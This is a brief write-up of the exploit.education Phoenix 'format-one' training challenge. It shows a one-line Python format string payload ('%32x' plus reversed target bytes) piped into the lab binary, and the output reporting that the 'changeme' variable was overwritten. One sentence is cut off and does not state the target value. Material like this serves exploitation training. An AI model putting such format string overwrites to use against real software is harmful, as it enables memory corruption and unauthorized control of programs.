Write-up for: Format One
This is the exact same challenge as format-zero, but now we need to be precise. Since we did this in the previous exercise already, we can come to the solution immediately.
We want to change the
changeme variable to
user@phoenix-amd64:/opt/phoenix/i486$ python -c 'print "%32x" + "\x45\x76\x4f\x6c"[::-1]' | ./format-one Welcome to phoenix/format-one, brought to you by https://exploit.education Well done, the 'changeme' variable has been changed correctly!
Remember the little-endianness aaand: done.
